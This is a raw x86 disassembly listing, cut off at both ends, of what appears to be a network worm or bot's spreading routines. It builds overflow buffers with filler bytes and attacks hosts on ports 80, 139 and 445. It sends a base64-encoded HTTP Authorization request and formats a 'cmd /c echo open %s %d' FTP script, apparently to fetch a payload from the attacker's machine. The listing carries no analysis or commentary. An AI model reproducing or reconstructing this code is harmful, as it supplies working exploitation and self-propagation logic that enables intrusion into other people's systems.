push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p ; sub_40CD9E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B9C0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC90 call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: ___:0040D625p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432040 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432048 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset loc_4323C4 lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BF70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43204C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323B8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323B4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323B0 lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_4323A4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push (offset loc_43239F+1) lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9FC loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9E0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA34 cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA34 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; ___:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx push 0 push esi call sub_41BF70 push 2Fh push offset dword_4320DC push esi call sub_41CD20 push 8 lea eax, [esi+31h] push offset dword_43210C push eax mov [esi+2Fh], di call sub_41CD20 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CD20 push 6 add ebx, edi push offset dword_4CE6FC push ebx call sub_41CD20 mov ebx, [ebp+arg_0] push 85h push offset dword_432054 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432118 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427670 call sub_41D174 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427668 fstp [esp+10h+var_10] call sub_41D055 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41D174 inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_40 = qword ptr -40h mov eax, offset loc_426AA7 call sub_41D640 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D977 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2F4 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp-38h] call sub_40D8F2 loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427680 fstp [esp+40h+var_40] call sub_41D19B pop ecx pop ecx call sub_41D174 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3ED mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D45B add [ebp-18h], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432164[eax] push eax push 1 call sub_40D774 inc esi cmp esi, [ebp-1Ch] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D479 push dword ptr [ebp+14h] call sub_41B9C0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7CD mov [ebp-18h], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D493 sub esi, [ebp-1Ch] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D774 dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D977 push dword_427678 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D824 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D977 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp mov eax, offset loc_426AC4 call sub_41D640 sub esp, 10h push ebx push esi push edi push offset byte_43DB98 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D340 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BEB5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp-18h] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+18h], ebx jz short loc_40D542 mov eax, [ebp+18h] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C360 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CBA34 cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D977 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D977 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432310 push eax call sub_41CD20 add esp, 0Ch mov eax, offset byte_42910C push eax push eax movzx eax, word ptr dword_4CB720 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C360 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4321A8 push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: ___:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: ___:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9E4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA24 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB98C cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D977 lea eax, [ebp+0Ch] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9B3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: ___:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: ___:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: ___:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: ___:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: ___:0040D69Aj ; ___:0040D70Dj push ebx call dword_4CBA7C test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: ___:0040D657j push 3E8h call near ptr 2670EEFh nop loc_40D737: ; CODE XREF: ___:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: ___:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40D765: ; CODE XREF: ___:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: ___:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; ___:00426AA1j ... push 1 call sub_40D977 retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; =============== S U B R O U T I N E ======================================= sub_40D774 proc near ; CODE XREF: sub_40D340+110p ; sub_40D340+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D78E call sub_42629A loc_40D78E: ; CODE XREF: sub_40D774+13j test ebx, ebx jbe short loc_40D7C5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D7C5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BF70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7C5: ; CODE XREF: sub_40D774+1Cj ; sub_40D774+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D774 endp ; =============== S U B R O U T I N E ======================================= sub_40D7CD proc near ; CODE XREF: sub_40D340+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D81C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp ; sub_4261B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D83C call sub_426173 loc_40D83C: ; CODE XREF: sub_40D824+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D84E mov esi, [ebp+arg_8] loc_40D84E: ; CODE XREF: sub_40D824+25j cmp edi, ebx jnz short loc_40D870 push dword_427678 add esi, ecx mov ecx, edi push esi call sub_40D9E8 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9E8 jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D870: ; CODE XREF: sub_40D824+2Cj test esi, esi jbe short loc_40D8B3 cmp esi, eax jnz short loc_40D8B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D884 mov eax, offset dword_427688 loc_40D884: ; CODE XREF: sub_40D824+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8B3 push 1 mov ecx, edi call sub_40D977 mov eax, [ebx+4] test eax, eax jnz short loc_40D89F mov eax, offset dword_427688 loc_40D89F: ; CODE XREF: sub_40D824+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D8B3: ; CODE XREF: sub_40D824+4Ej ; sub_40D824+52j ... push 1 push esi mov ecx, edi call sub_40D8F2 test al, al jz short loc_40D8E9 mov eax, [ebx+4] test eax, eax jnz short loc_40D8CD mov eax, offset dword_427688 loc_40D8CD: ; CODE XREF: sub_40D824+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CD20 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8E9: ; CODE XREF: sub_40D824+4Aj ; sub_40D824+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D824 endp ; =============== S U B R O U T I N E ======================================= sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp ; sub_40D774+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D904 call sub_42629A loc_40D904: ; CODE XREF: sub_40D8F2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D92D mov al, [ecx-1] cmp al, dl jz short loc_40D92D cmp al, 0FFh jz short loc_40D92D cmp edi, edx jnz short loc_40D968 dec al push edx mov [ecx-1], al loc_40D922: ; CODE XREF: sub_40D8F2+47j mov ecx, esi call sub_40D977 loc_40D929: ; CODE XREF: sub_40D8F2+4Bj ; sub_40D8F2+52j xor al, al jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D92D: ; CODE XREF: sub_40D8F2+19j ; sub_40D8F2+20j ... cmp edi, edx jnz short loc_40D946 cmp [esp+8+arg_4], dl jz short loc_40D93B push 1 jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D93B: ; CODE XREF: sub_40D8F2+43j cmp ecx, edx jz short loc_40D929 mov [esi+8], edx mov [ecx], dl jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D8F2+3Dj cmp [esp+8+arg_4], dl jz short loc_40D963 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D958 cmp eax, edi jnb short loc_40D970 loc_40D958: ; CODE XREF: sub_40D8F2+60j push 1 mov ecx, esi call sub_40D977 jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_40D8F2+58j cmp [esi+0Ch], edi jnb short loc_40D970 loc_40D968: ; CODE XREF: sub_40D8F2+28j ; sub_40D8F2+6Fj push edi mov ecx, esi call sub_40DA4F loc_40D970: ; CODE XREF: sub_40D8F2+64j ; sub_40D8F2+74j mov al, 1 loc_40D972: ; CODE XREF: sub_40D8F2+39j pop edi pop esi retn 8 sub_40D8F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp ; sub_40D340+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D9A3 mov eax, [esi+4] test eax, eax jz short loc_40D9A3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D99C cmp al, 0FFh jz short loc_40D99C dec al mov [ecx], al jmp short loc_40D9A3 ; --------------------------------------------------------------------------- 